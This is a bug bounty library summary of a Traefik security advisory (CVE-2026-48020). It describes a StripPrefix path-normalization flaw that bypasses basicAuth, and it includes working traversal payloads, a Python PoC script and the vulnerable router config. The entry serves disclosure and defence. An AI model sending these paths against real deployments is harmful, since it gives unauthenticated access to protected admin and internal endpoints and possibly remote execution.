# Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization

Traefik StripPrefix normalizes `/api../admin` to `/admin` after routing, letting unauthenticated requests reach protected routers guarded by basicAuth.

- Payout: Research
- Severity: high
- Program: Traefik
- Found by: H4ck2
- Disclosed: 2026-06-11
- CVE: CVE-2026-48020
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xf64-8mw2-4gr2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xf64-8mw2-4gr2
- Tags: area:cloud domain:infra impact:internal-access kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:parser-differential vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** Traefik HTTP reverse proxy StripPrefix middleware with PathPrefix routers
**Root cause:** Routing matches the public PathPrefix rule before StripPrefix removes the prefix; the remaining `/../admin` is then normalized via URL.JoinPath to `/admin`, so the protected router's auth middleware is never applied.
**Steps:**
1. Configure public router `PathPrefix(`/api`) && !PathPrefix(`/api/admin`)` with stripPrefix `/api`, and a protected router `PathPrefix(`/admin`)` with basicAuth.
2. Send `GET /api../admin` (or `/api%2e%2e/admin`) to the entrypoint.
3. Observe 200 with backend receiving `/admin`, while direct `GET /admin` returns 401.
**How found:** Reporter tested the StripPrefix middleware against the known StripPrefixRegex/path-normalization advisory family, hypothesizing that normalization after prefix stripping (URL.JoinPath) diverges from routing-time matching, and confirmed with a docker-compose lab across v2.11.46, v3.6.17, v3.7.1.
**Exploitation:** Unauthenticated attacker crafts a path that matches the public router at routing time but, after prefix stripping and normalization, resolves to a protected backend path such as `/admin` or `/internal/config`, reaching endpoints guarded by the auth middleware on the protected router.
**Escalation:** Conditional RCE if the protected backend exposes an execution primitive (lab demonstrated `/api../admin/exec` reaching a protected exec endpoint).
**Insight:** When a proxy matches routes before applying rewrite/normalization middleware, test dot-segments (`..`, `%2e%2e`) that survive the prefix strip; a `PathPrefix` boundary without a trailing slash or regex anchor lets `/api..` match the public rule while normalizing into the protected namespace.

## Proof of concept (copied exactly from the original report)

**Bypass payloads reaching protected backend paths**

```
| `GET /api../admin` | `200` | `/admin` |
| `GET /api%2e%2e/admin` | `200` | `/admin` |
| `GET /api../internal/config` | `200` | `/internal/config` |
| `GET /api%2e%2e/internal/config` | `200` | `/internal/config` |
```

**PoC script sending traversal paths**

```
PATHS = [
    "/admin",
    "/internal/config",
    "/api/admin",
    "/api/internal/config",
    "/api../admin",
    "/api%2e%2e/admin",
    "/api../internal/config",
    "/api%2e%2e/internal/config",
    "/admin/exec",
    "/api/admin/exec",
    "/api../admin/exec",
    "/api%2e%2e/admin/exec",
]

for path in PATHS:
    req = Request(BASE + path)
    try:
        with urlopen(req, timeout=5) as r:
            status = r.status
            body = r.read().decode(errors="replace")
    except HTTPError as e:
        status = e.code
        body = e.read().decode(errors="replace")

    print(f"{path:28} {status} {body[:180]}")
```

**Vulnerable Traefik router/middleware config**

```
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
```

